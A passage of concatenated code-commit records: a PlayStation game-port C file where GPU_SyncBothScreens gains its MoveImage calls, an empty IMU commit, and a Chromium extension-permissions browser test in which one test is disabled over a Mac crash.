DrawSyncCallback(void(*func)(void))\n{\n\n\treturn u_long();\n}\n\nvoid DrawOTagEnv(u_long* p, DRAWENV* env)\n{\n\tprintf(\"Debug\");\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"MISC.H\"\n#include \"CONTROL.H\"\n#include \"CAMERA.H\"\n#include \"GPU.H\"\n#include \"LOAD_LEV.H\"\n#include \"SPECIFIC.H\"\n#include \"TEXT_S.H\"\n\n#include <EMULATOR.H>\n#include <LIBETC.H>\n\n#if PSXPC_VERSION || PSXPC_TEST\n\t#include <stdint.h>\n#endif\n\n#if PSX_VERSION && !PSXPC_TEST\ntypedef unsigned int uintptr_t;\n#endif\n\nvoid S_MemSet(char* p, int value, int length)\n{\n\tint size;\n\n\tif (length != 0)\n\t{\n\t\tif (length > 3)\n\t\t{\n\t\t\tvalue |= value << 8;\n\t\t\tvalue |= value << 16;\n\n\t\t\tif (((uintptr_t)p) & 3)\n\t\t\t{\n\t\t\t\tsize = 4 - (((uintptr_t)p) & 3);\n\t\t\t\tlength -= 4 - (((uintptr_t)p) & 3);\n\n\t\t\t\t\/\/loc_5E918\n\t\t\t\twhile (size--)\n\t\t\t\t\t*p++ = value;\n\n\t\t\t}\n\t\t\t\/\/loc_5E928\n\t\t\tsize = length >> 2;\n\t\t\tif ((length >> 2))\n\t\t\t{\n\t\t\t\tlength &= 3;\n\n\t\t\t\t\/\/loc_5E934\n\t\t\t\twhile (size--)\n\t\t\t\t{\n\t\t\t\t\t((int*)p)[0] = value;\n\t\t\t\t\tp += 4;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\/\/loc_5E94C\n\t\twhile (length-- != 0)\n\t\t\t*p++ = value;\n\t}\n}\n\nvoid S_LongMemCpy(unsigned long* pDest, unsigned long* pSrc, unsigned long size)\/\/5E964(<), ? (F)\n{\n\tint i;\n\n\tif (size > 0)\n\t{\n\t\tfor (i = size \/ sizeof(unsigned long); i > 0; i--, pDest += 4, pSrc += 4)\n\t\t{\n\t\t\t\/\/loc_5E974\n\t\t\tpDest[0] = pSrc[0];\n\t\t\tpDest[1] = pSrc[1];\n\t\t\tpDest[2] = pSrc[2];\n\t\t\tpDest[3] = pSrc[3];\n\t\t}\n\t\t\n\t\t\/\/loc_5E9AC\n\t\tfor (i = size & 3; i > 0; i--)\n\t\t{\n\t\t\t*pDest++ = *pSrc++;\n\t\t}\n\t}\n}\n\nvoid DrawF4(unsigned short x, unsigned short y, unsigned short w, unsigned short h, int unk, int unk2)\/\/5EDF8\n{\n\tUNIMPLEMENTED();\n}\n\nvoid DrawTPage(unsigned char a0, unsigned char a1)\/\/5EE78(<), 5FB58(<)\n{\n\tUNIMPLEMENTED();\n}\n\nvoid DrawLineH(long a0, long a1, long a2, long a3, long a4, long a5)\/\/5EECC(<)\n{\n\tUNIMPLEMENTED();\n}\n\nvoid DrawLineV(long a0, long a1, long a2, long a3, long a4, long a5)\/\/5EF84(<),\n{\n\tUNIMPLEMENTED();\n}\n\nvoid LOAD_VSyncHandler()\/\/5F074(<), 5FD54(<) (F)\n{\n\tint a0, a1, a2;\n\n\tif (!LtLoadingBarEnabled)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/loc_5F08C\n\tGPU_BeginScene();\n\n\ta0 = 440;\/\/x?\n\ta1 = 200;\/\/y?\n\ta2 = 64;\/\/cd width or height?\n\n\tif (_first_time_ever)\n\t{\n\t\ta0 += 24;\n\t\ta1 += 8;\n\t\ta2 = 48;\n\t}\n\n\t\/\/loc_5F0B4\n\t\/\/PrintString(256, 192, 2, \"Load Game\", 0x8000);\n\tdraw_rotate_sprite(a0, a1, a2);\n\tdb.current_buffer ^= 1;\n\tGnLastFrameCount = 0;\n\tDrawOTagEnv(&db.ot[db.nOTSize - 1], &db.draw[0]);\n\treturn;\n}\n\nvoid LOAD_DrawEnable(unsigned char isEnabled)\/\/5F2C8, 5FFA8\n{\n\tLtLoadingBarEnabled = isEnabled;\n}\n\nvoid GPU_BeginScene()\/\/5F0F0(<), 5FDD0(<)\n{\n\tdb.ot = db.order_table[db.current_buffer];\n\tdb.polyptr = (char*)db.poly_buffer[db.current_buffer];\n\tdb.curpolybuf = (char*)db.poly_buffer[db.current_buffer];\n\tdb.polybuf_limit = (char*)(db.poly_buffer[db.current_buffer]) + 26000;\n\tdb.pickup_ot = db.pickup_order_table[db.current_buffer];\n\tClearOTagR(db.order_table[db.current_buffer], db.nOTSize);\n\tEmulator_BeginScene();\n}\n\nvoid draw_rotate_sprite(long a0, long a1, long a2)\/\/5F134, 5FE14 (F)\n{\n\tlong t0;\n\tshort* r_cossinptr;\n\tlong t6;\n\tlong t5;\n\tlong t1;\n\tlong t4;\n\n\tDelRotAng = (DelRotAng - 52) & 0xFFF;\n\tr_cossinptr = &rcossin_tbl[DelRotAng * 2];\n\n\tt6 = ((-a2 \/ 2) * r_cossinptr[0]) \/ 4096;\n\tt5 = ((-a2 \/ 2) * r_cossinptr[1]) \/ 4096;\n\n\t*(long*) &db.polyptr[4] = 0x2C808080;\n\t*(long*) &db.polyptr[12] = 0;\n\t*(long*) &db.polyptr[20] = 0x1303F00;\n\n\tt0 = t6 - t5;\n\ta2 = -t6;\n\tt4 = a2 - t5;\n\ta2 += t5;\n\tt1 = t6 + t5;\n\n\t*(short*) &db.polyptr[8] = t0 + (t0 \/ 2) + a0;\n\t*(short*) &db.polyptr[10] = t5 + t6 + a1;\n\n\t*(short*) &db.polyptr[16] = t4 + (t4 \/ 2) + a0;\n\t*(short*) &db.polyptr[18] = -t5 + t6 + a1;\n\n\n\t*(short*) &db.polyptr[24] = t1 + (t1 \/ 2) + a0;\n\t*(short*) &db.polyptr[26] = (t5 - t6) + a1;\n\n\t*(short*) &db.polyptr[28] = 0x3F;\/\/width\/height of loading cd?\n\t*(short*) &db.polyptr[36] = 0x3F3F;\n\n\t*(short*) &db.polyptr[32] = a2 + (a2 \/ 2) + a0;\n\t*(short*) &db.polyptr[34] = a1 + (-t5 - t6);\n\n\t*(long*) &db.polyptr[0] = db.ot[0] | 0x09000000;\n\tdb.ot[0] = (unsigned long)&db.polyptr[0];\n\t\n\tdb.polyptr += 0x28;\/\/sizeof(POLY_F3); * 2?\n\n\t*(long*) &db.polyptr[4] = 0x2C808080;\n\t*(long*) &db.polyptr[8] = 0x780100;\n\t*(long*) &db.polyptr[12] = 0x6800;\n\t*(long*) &db.polyptr[16] = 0x7801FF;\n\n\n\t*(long*) &db.polyptr[20] = 0x13468FF;\n\t*(long*) &db.polyptr[24] = 0xEF0100;\n\t*(short*) &db.polyptr[28] = 0xDF00;\n\t*(long*) &db.polyptr[32] = 0xEF01FF;\n\n\t*(short*) &db.polyptr[36] = 0xDFFF;\n\n\t*(long*) &db.polyptr[0] = db.ot[0] | 0x9000000;\n\tdb.ot[0] = (unsigned long)db.polyptr;\n\t\/\/sizeof(POLY_G3);\n\tdb.polyptr += 0x28;\n\treturn;\n}\n\n\/* PSX VRAM (H)\n * ----------- 1024px\n * | TL | TR | |\n * ----------- v\n * | BL | BR | \n * -----------\n *(W)1024px-->\n * \n *\/\nvoid GPU_ClearVRAM()\/\/5F2D0(<), 5FFB0(<) (F) (D) (ND)\n{\n\tRECT16 r;\n\n\t\/\/Clear TL\n\tr.x = 0;\n\tr.y = 0;\n\tr.w = 512;\n\tr.h = 256;\n\tclear_a_rect(&r);\n\n\t\/\/Clear BL\n\tr.y = 256;\n\tclear_a_rect(&r);\n\n\t\/\/Clear BR\n\tr.x = 512;\n\tclear_a_rect(&r);\n\n\t\/\/Clear TR\n\tr.y = 0;\n\tclear_a_rect(&r);\n\n\treturn;\n}\n\nvoid clear_a_rect(RECT16* r)\/\/5F334(<), 60014(<) (F) (D) (ND)\n{\n\tClearImage(r, 0, 48, 0);\n\treturn;\n}\n\nvoid GPU_GetScreenPosition(short* x, short* y)\/\/5F34C, ? (*) (F) (D) (ND)\n{\n\t*x = db.disp[0].screen.x;\n\t*y = db.disp[0].screen.y;\n\treturn;\n}\n\nvoid GPU_SetScreenPosition(short x, short y)\/\/5F360(<), 60040(<)\n{\n\tdb.disp[0].screen.x = x;\n\tdb.disp[0].screen.y = y;\n\tdb.disp[1].screen.x = x;\n\tdb.disp[1].screen.y = y;\n\n\treturn;\n}\n\nvoid GPU_SyncBothScreens()\/\/5F374(<), 60054(<)\n{\n\tdb.current_buffer ^= 1;\n\tif (db.current_buffer != 0)\n\t{\n\t\t\/\/MoveImage(&db.disp[1].disp, db.disp[0].disp.x, db.disp[0].disp.y);\n\t\t\/\/TODO: Verify ra += 0x10;! prolly else skip loc_5F3A8 (implemented but should be checked).\n\t}\n\telse\n\t{\n\t\t\/\/loc_5F3A8\n\t\t\/\/MoveImage(&db.disp[0].disp, db.disp[1].disp.x, db.disp[1].disp.y);\n\t}\n\n\treturn;\n}\n\n\/\/\/@Gh0stblade - Not sure why this is so unoptimal, we can basically &disp[db.current_buffer]... double check code.\nvoid GPU_FlipToBuffer(int buffer_index)\/\/5F3C8(<), 600A8(<) (F) (D) (ND)\n{\n\tDrawSync(0);\n\tVSync(0);\n\n\tif (buffer_index & 1)\n\t{\n\t\tPutDispEnv(&db.disp[1]);\n\t}\n\telse\n\t{\n\t\tPutDispEnv(&db.disp[0]);\n\t}\n\n\tif (buffer_index & 1)\n\t{\n\t\tPutDrawEnv(&db.draw[1]);\n\t}\n\telse\n\t{\n\t\tPutDrawEnv(&db.draw[0]);\n\t}\n\n\tdb.current_buffer = buffer_index & 1 ^ 1;\n\n\treturn;\n}\n\nvoid S_AnimateTextures(long nFrames)\n{\n\tUNIMPLEMENTED();\n}\n\nvoid PrintGauge(int x, int y, int length)\n{\n\tUNIMPLEMENTED();\n}\n\nlong GetRandomControl()\/\/5E9F0, 926F8 (F)\n{\n\trand_1 = (rand_1 * 0x41C64E6D) + 0x3039;\n\treturn (rand_1 >> 16) & 0x7FFF;\n}\n\nvoid SeedRandomControl(long seed)\/\/(F)\n{\n\trand_1 = seed;\n}\n\nlong GetRandomDraw()\/\/5EA18, 5F6F8 (F)\n{\n\trand_2 = (rand_2 * 0x41C64E6D) + 0x3039;\n\treturn (rand_2 >> 16) * 0x7FFF;\n}\n\nvoid SeedRandomDraw(long seed)\/\/(F)\n{\n\trand_2 = seed;\n}\n\nvoid S_MemCpy(char* pSrc, char* pDest, int size)\n{\n\tif (size > 0)\n\t{\n\t\twhile (size-- > 0)\n\t\t\t*pSrc++ = *pDest++;\n\t}\n}\n<commit_msg>Patches for GPU_SyncBothScreens<commit_after>#include \"MISC.H\"\n#include \"CONTROL.H\"\n#include \"CAMERA.H\"\n#include \"GPU.H\"\n#include \"LOAD_LEV.H\"\n#include \"SPECIFIC.H\"\n#include \"TEXT_S.H\"\n\n#include <EMULATOR.H>\n#include <LIBETC.H>\n\n#if PSXPC_VERSION || PSXPC_TEST\n\t#include <stdint.h>\n#endif\n\n#if PSX_VERSION && !PSXPC_TEST\ntypedef unsigned int uintptr_t;\n#endif\n\nvoid S_MemSet(char* p, int value, int length)\n{\n\tint size;\n\n\tif (length != 0)\n\t{\n\t\tif (length > 3)\n\t\t{\n\t\t\tvalue |= value << 8;\n\t\t\tvalue |= value << 16;\n\n\t\t\tif (((uintptr_t)p) & 3)\n\t\t\t{\n\t\t\t\tsize = 4 - (((uintptr_t)p) & 3);\n\t\t\t\tlength -= 4 - (((uintptr_t)p) & 3);\n\n\t\t\t\t\/\/loc_5E918\n\t\t\t\twhile (size--)\n\t\t\t\t\t*p++ = value;\n\n\t\t\t}\n\t\t\t\/\/loc_5E928\n\t\t\tsize = length >> 2;\n\t\t\tif ((length >> 2))\n\t\t\t{\n\t\t\t\tlength &= 3;\n\n\t\t\t\t\/\/loc_5E934\n\t\t\t\twhile (size--)\n\t\t\t\t{\n\t\t\t\t\t((int*)p)[0] = value;\n\t\t\t\t\tp += 4;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\/\/loc_5E94C\n\t\twhile (length-- != 0)\n\t\t\t*p++ = value;\n\t}\n}\n\nvoid S_LongMemCpy(unsigned long* pDest, unsigned long* pSrc, unsigned long size)\/\/5E964(<), ? (F)\n{\n\tint i;\n\n\tif (size > 0)\n\t{\n\t\tfor (i = size \/ sizeof(unsigned long); i > 0; i--, pDest += 4, pSrc += 4)\n\t\t{\n\t\t\t\/\/loc_5E974\n\t\t\tpDest[0] = pSrc[0];\n\t\t\tpDest[1] = pSrc[1];\n\t\t\tpDest[2] = pSrc[2];\n\t\t\tpDest[3] = pSrc[3];\n\t\t}\n\t\t\n\t\t\/\/loc_5E9AC\n\t\tfor (i = size & 3; i > 0; i--)\n\t\t{\n\t\t\t*pDest++ = *pSrc++;\n\t\t}\n\t}\n}\n\nvoid DrawF4(unsigned short x, unsigned short y, unsigned short w, unsigned short h, int unk, int unk2)\/\/5EDF8\n{\n\tUNIMPLEMENTED();\n}\n\nvoid DrawTPage(unsigned char a0, unsigned char a1)\/\/5EE78(<), 5FB58(<)\n{\n\tUNIMPLEMENTED();\n}\n\nvoid DrawLineH(long a0, long a1, long a2, long a3, long a4, long a5)\/\/5EECC(<)\n{\n\tUNIMPLEMENTED();\n}\n\nvoid DrawLineV(long a0, long a1, long a2, long a3, long a4, long a5)\/\/5EF84(<),\n{\n\tUNIMPLEMENTED();\n}\n\nvoid LOAD_VSyncHandler()\/\/5F074(<), 5FD54(<) (F)\n{\n\tint a0, a1, a2;\n\n\tif (!LtLoadingBarEnabled)\n\t{\n\t\treturn;\n\t}\n\n\t\/\/loc_5F08C\n\tGPU_BeginScene();\n\n\ta0 = 440;\/\/x?\n\ta1 = 200;\/\/y?\n\ta2 = 64;\/\/cd width or height?\n\n\tif (_first_time_ever)\n\t{\n\t\ta0 += 24;\n\t\ta1 += 8;\n\t\ta2 = 48;\n\t}\n\n\t\/\/loc_5F0B4\n\tdraw_rotate_sprite(a0, a1, a2);\n\tdb.current_buffer ^= 1;\n\tGnLastFrameCount = 0;\n\tDrawOTagEnv(&db.ot[db.nOTSize - 1], &db.draw[0]);\n\treturn;\n}\n\nvoid LOAD_DrawEnable(unsigned char isEnabled)\/\/5F2C8, 5FFA8\n{\n\tLtLoadingBarEnabled = isEnabled;\n}\n\nvoid GPU_BeginScene()\/\/5F0F0(<), 5FDD0(<)\n{\n\tdb.ot = db.order_table[db.current_buffer];\n\tdb.polyptr = (char*)db.poly_buffer[db.current_buffer];\n\tdb.curpolybuf = (char*)db.poly_buffer[db.current_buffer];\n\tdb.polybuf_limit = (char*)(db.poly_buffer[db.current_buffer] + 26000);\n\tdb.pickup_ot = db.pickup_order_table[db.current_buffer];\n\tClearOTagR(db.order_table[db.current_buffer], db.nOTSize);\n\n\tEmulator_BeginScene();\n}\n\nvoid draw_rotate_sprite(long a0, long a1, long a2)\/\/5F134, 5FE14 (F)\n{\n\tlong t0;\n\tshort* r_cossinptr;\n\tlong t6;\n\tlong t5;\n\tlong t1;\n\tlong t4;\n\n\tDelRotAng = (DelRotAng - 52) & 0xFFF;\n\tr_cossinptr = &rcossin_tbl[DelRotAng * 2];\n\n\tt6 = ((-a2 \/ 2) * r_cossinptr[0]) \/ 4096;\n\tt5 = ((-a2 \/ 2) * r_cossinptr[1]) \/ 4096;\n\n\t*(long*) &db.polyptr[4] = 0x2C808080;\n\t*(long*) &db.polyptr[12] = 0;\n\t*(long*) &db.polyptr[20] = 0x1303F00;\n\n\tt0 = t6 - t5;\n\ta2 = -t6;\n\tt4 = a2 - t5;\n\ta2 += t5;\n\tt1 = t6 + t5;\n\n\t*(short*) &db.polyptr[8] = t0 + (t0 \/ 2) + a0;\n\t*(short*) &db.polyptr[10] = t5 + t6 + a1;\n\n\t*(short*) &db.polyptr[16] = t4 + (t4 \/ 2) + a0;\n\t*(short*) &db.polyptr[18] = -t5 + t6 + a1;\n\n\n\t*(short*) &db.polyptr[24] = t1 + (t1 \/ 2) + a0;\n\t*(short*) &db.polyptr[26] = (t5 - t6) + a1;\n\n\t*(short*) &db.polyptr[28] = 0x3F;\/\/width\/height of loading cd?\n\t*(short*) &db.polyptr[36] = 0x3F3F;\n\n\t*(short*) &db.polyptr[32] = a2 + (a2 \/ 2) + a0;\n\t*(short*) &db.polyptr[34] = a1 + (-t5 - t6);\n\n\t*(long*) &db.polyptr[0] = db.ot[0] | 0x09000000;\n\tdb.ot[0] = (unsigned long)&db.polyptr[0];\n\t\n\tdb.polyptr += 0x28;\/\/sizeof(POLY_F3); * 2?\n\n\t*(long*) &db.polyptr[4] = 0x2C808080;\n\t*(long*) &db.polyptr[8] = 0x780100;\n\t*(long*) &db.polyptr[12] = 0x6800;\n\t*(long*) &db.polyptr[16] = 0x7801FF;\n\n\n\t*(long*) &db.polyptr[20] = 0x13468FF;\n\t*(long*) &db.polyptr[24] = 0xEF0100;\n\t*(short*) &db.polyptr[28] = 0xDF00;\n\t*(long*) &db.polyptr[32] = 0xEF01FF;\n\n\t*(short*) &db.polyptr[36] = 0xDFFF;\n\n\t*(long*) &db.polyptr[0] = db.ot[0] | 0x9000000;\n\tdb.ot[0] = (unsigned long)db.polyptr;\n\t\/\/sizeof(POLY_G3);\n\tdb.polyptr += 0x28;\n\treturn;\n}\n\n\/* PSX VRAM (H)\n * ----------- 1024px\n * | TL | TR | |\n * ----------- v\n * | BL | BR | \n * -----------\n *(W)1024px-->\n * \n *\/\nvoid GPU_ClearVRAM()\/\/5F2D0(<), 5FFB0(<) (F) (D) (ND)\n{\n\tRECT16 r;\n\n\t\/\/Clear TL\n\tr.x = 0;\n\tr.y = 0;\n\tr.w = 512;\n\tr.h = 256;\n\tclear_a_rect(&r);\n\n\t\/\/Clear BL\n\tr.y = 256;\n\tclear_a_rect(&r);\n\n\t\/\/Clear BR\n\tr.x = 512;\n\tclear_a_rect(&r);\n\n\t\/\/Clear TR\n\tr.y = 0;\n\tclear_a_rect(&r);\n\n\treturn;\n}\n\nvoid clear_a_rect(RECT16* r)\/\/5F334(<), 60014(<) (F) (D) (ND)\n{\n\tClearImage(r, 0, 48, 0);\n\treturn;\n}\n\nvoid GPU_GetScreenPosition(short* x, short* y)\/\/5F34C, ? (*) (F) (D) (ND)\n{\n\t*x = db.disp[0].screen.x;\n\t*y = db.disp[0].screen.y;\n\treturn;\n}\n\nvoid GPU_SetScreenPosition(short x, short y)\/\/5F360(<), 60040(<)\n{\n\tdb.disp[0].screen.x = x;\n\tdb.disp[0].screen.y = y;\n\tdb.disp[1].screen.x = x;\n\tdb.disp[1].screen.y = y;\n\n\treturn;\n}\n\nvoid GPU_SyncBothScreens()\/\/5F374(<), 60054(<)\n{\n\tDrawSync(0);\n\tdb.current_buffer ^= 1;\n\tif (db.current_buffer != 0)\n\t{\n\t\tMoveImage(&db.disp[1].disp, db.disp[0].disp.x, db.disp[0].disp.y);\n\t}\n\telse\n\t{\n\t\t\/\/loc_5F3A8\n\t\tMoveImage(&db.disp[0].disp, db.disp[1].disp.x, db.disp[1].disp.y);\n\t}\n\n\tDrawSync(0);\n\n\treturn;\n}\n\n\/\/\/@Gh0stblade - Not sure why this is so unoptimal, we can basically &disp[db.current_buffer]... double check code.\nvoid GPU_FlipToBuffer(int buffer_index)\/\/5F3C8(<), 600A8(<) (F) (D) (ND)\n{\n\tDrawSync(0);\n\tVSync(0);\n\n\tif (buffer_index & 1)\n\t{\n\t\tPutDispEnv(&db.disp[1]);\n\t}\n\telse\n\t{\n\t\tPutDispEnv(&db.disp[0]);\n\t}\n\n\tif (buffer_index & 1)\n\t{\n\t\tPutDrawEnv(&db.draw[1]);\n\t}\n\telse\n\t{\n\t\tPutDrawEnv(&db.draw[0]);\n\t}\n\n\tdb.current_buffer = buffer_index & 1 ^ 1;\n\n\treturn;\n}\n\nvoid S_AnimateTextures(long nFrames)\n{\n\tUNIMPLEMENTED();\n}\n\nvoid PrintGauge(int x, int y, int length)\n{\n\tUNIMPLEMENTED();\n}\n\nlong GetRandomControl()\/\/5E9F0, 926F8 (F)\n{\n\trand_1 = (rand_1 * 0x41C64E6D) + 0x3039;\n\treturn (rand_1 >> 16) & 0x7FFF;\n}\n\nvoid SeedRandomControl(long seed)\/\/(F)\n{\n\trand_1 = seed;\n}\n\nlong GetRandomDraw()\/\/5EA18, 5F6F8 (F)\n{\n\trand_2 = (rand_2 * 0x41C64E6D) + 0x3039;\n\treturn (rand_2 >> 16) * 0x7FFF;\n}\n\nvoid SeedRandomDraw(long seed)\/\/(F)\n{\n\trand_2 = seed;\n}\n\nvoid S_MemCpy(char* pSrc, char* pDest, int size)\n{\n\tif (size > 0)\n\t{\n\t\twhile (size-- > 0)\n\t\t\t*pSrc++ = *pDest++;\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>(IMU main): fix IMU example by increasing IMU task stack depth<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/api\/permissions\/permissions_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_prefs.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension_permission_set.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nnamespace {\n\nstatic void AddPattern(URLPatternSet* extent, const std::string& pattern) {\n int schemes = URLPattern::SCHEME_ALL;\n extent->AddPattern(URLPattern(schemes, pattern));\n}\n\n} \/\/ namespace\n\nclass ExperimentalApiTest : public ExtensionApiTest {\npublic:\n void SetUpCommandLine(CommandLine* command_line) {\n ExtensionApiTest::SetUpCommandLine(command_line);\n command_line->AppendSwitch(switches::kEnableExperimentalExtensionApis);\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, PermissionsFail) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/disabled\")) << message_;\n\n \/\/ Since the experimental APIs require a flag, this will fail even though\n \/\/ it's enabled.\n \/\/ TODO(erikkay) This test is currently broken because LoadExtension in\n \/\/ ExtensionBrowserTest doesn't actually fail, it just times out. To fix this\n \/\/ I'll need to add an EXTENSION_LOAD_ERROR notification, which is probably\n \/\/ too much for the branch. I'll enable this on trunk later.\n \/\/ASSERT_FALSE(RunExtensionTest(\"permissions\/enabled\"))) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExperimentalApiTest, PermissionsSucceed) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/enabled\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, ExperimentalPermissionsFail) {\n \/\/ At the time this test is being created, there is no experimental\n \/\/ function that will not be graduating soon, and does not require a\n \/\/ tab id as an argument. So, we need the tab permission to get\n \/\/ a tab id.\n ASSERT_TRUE(RunExtensionTest(\"permissions\/experimental_disabled\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FaviconPermission) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/favicon\")) << message_;\n}\n\n\/\/ Test functions and APIs that are always allowed (even if you ask for no\n\/\/ permissions).\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, AlwaysAllowed) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/always_allowed\")) << message_;\n}\n\n\/\/ Tests that the optional permissions API works correctly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsGranted) {\n \/\/ Mark all the tested APIs as granted to bypass the confirmation UI.\n ExtensionAPIPermissionSet apis;\n apis.insert(ExtensionAPIPermission::kTab);\n URLPatternSet explicit_hosts;\n AddPattern(&explicit_hosts, \"http:\/\/*.c.com\/*\");\n scoped_refptr<ExtensionPermissionSet> granted_permissions =\n new ExtensionPermissionSet(apis, explicit_hosts, URLPatternSet());\n\n ExtensionPrefs* prefs =\n browser()->profile()->GetExtensionService()->extension_prefs();\n prefs->AddGrantedPermissions(\"kjmkgkdkpedkejedfhmfcenooemhbpbo\",\n granted_permissions);\n\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(true);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional\")) << message_;\n}\n\n\/\/ Tests that the optional permissions API works correctly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsAutoConfirm) {\n \/\/ Rather than setting the granted permissions, set the UI autoconfirm flag\n \/\/ and run the same tests.\n RequestPermissionsFunction::SetAutoConfirmForTests(true);\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(true);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional\")) << message_;\n}\n\n\/\/ Test that denying the optional permissions confirmation dialog works.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsDeny) {\n RequestPermissionsFunction::SetAutoConfirmForTests(false);\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(true);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional_deny\")) << message_;\n}\n\n\/\/ Tests that the permissions.request function must be called from within a\n\/\/ user gesture.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsGesture) {\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(false);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional_gesture\")) << message_;\n}\n<commit_msg>Disable ExtensionApiTest.AlwaysAllowed (crashes on Mac)<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/api\/permissions\/permissions_api.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_prefs.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension_permission_set.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nnamespace {\n\nstatic void AddPattern(URLPatternSet* extent, const std::string& pattern) {\n int schemes = URLPattern::SCHEME_ALL;\n extent->AddPattern(URLPattern(schemes, pattern));\n}\n\n} \/\/ namespace\n\nclass ExperimentalApiTest : public ExtensionApiTest {\npublic:\n void SetUpCommandLine(CommandLine* command_line) {\n ExtensionApiTest::SetUpCommandLine(command_line);\n command_line->AppendSwitch(switches::kEnableExperimentalExtensionApis);\n }\n};\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, PermissionsFail) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/disabled\")) << message_;\n\n \/\/ Since the experimental APIs require a flag, this will fail even though\n \/\/ it's enabled.\n \/\/ TODO(erikkay) This test is currently broken because LoadExtension in\n \/\/ ExtensionBrowserTest doesn't actually fail, it just times out. To fix this\n \/\/ I'll need to add an EXTENSION_LOAD_ERROR notification, which is probably\n \/\/ too much for the branch. I'll enable this on trunk later.\n \/\/ASSERT_FALSE(RunExtensionTest(\"permissions\/enabled\"))) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExperimentalApiTest, PermissionsSucceed) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/enabled\")) << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, ExperimentalPermissionsFail) {\n \/\/ At the time this test is being created, there is no experimental\n \/\/ function that will not be graduating soon, and does not require a\n \/\/ tab id as an argument. So, we need the tab permission to get\n \/\/ a tab id.\n ASSERT_TRUE(RunExtensionTest(\"permissions\/experimental_disabled\"))\n << message_;\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, FaviconPermission) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/favicon\")) << message_;\n}\n\n\/\/ Test functions and APIs that are always allowed (even if you ask for no\n\/\/ permissions).\n\/\/ Disabled: http:\/\/crbug.com\/125193\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, DISABLED_AlwaysAllowed) {\n ASSERT_TRUE(RunExtensionTest(\"permissions\/always_allowed\")) << message_;\n}\n\n\/\/ Tests that the optional permissions API works correctly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, OptionalPermissionsGranted) {\n \/\/ Mark all the tested APIs as granted to bypass the confirmation UI.\n ExtensionAPIPermissionSet apis;\n apis.insert(ExtensionAPIPermission::kTab);\n URLPatternSet explicit_hosts;\n AddPattern(&explicit_hosts, \"http:\/\/*.c.com\/*\");\n scoped_refptr<ExtensionPermissionSet> granted_permissions =\n new ExtensionPermissionSet(apis, explicit_hosts, URLPatternSet());\n\n ExtensionPrefs* prefs =\n browser()->profile()->GetExtensionService()->extension_prefs();\n prefs->AddGrantedPermissions(\"kjmkgkdkpedkejedfhmfcenooemhbpbo\",\n granted_permissions);\n\n RequestPermissionsFunction::SetIgnoreUserGestureForTests(true);\n host_resolver()->AddRule(\"*.com\", \"127.0.0.1\");\n ASSERT_TRUE(StartTestServer());\n EXPECT_TRUE(RunExtensionTest(\"permissions\/optional\")) << message_;\n}\n\n\/\/ Tests that the optional permissions API works correctly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, 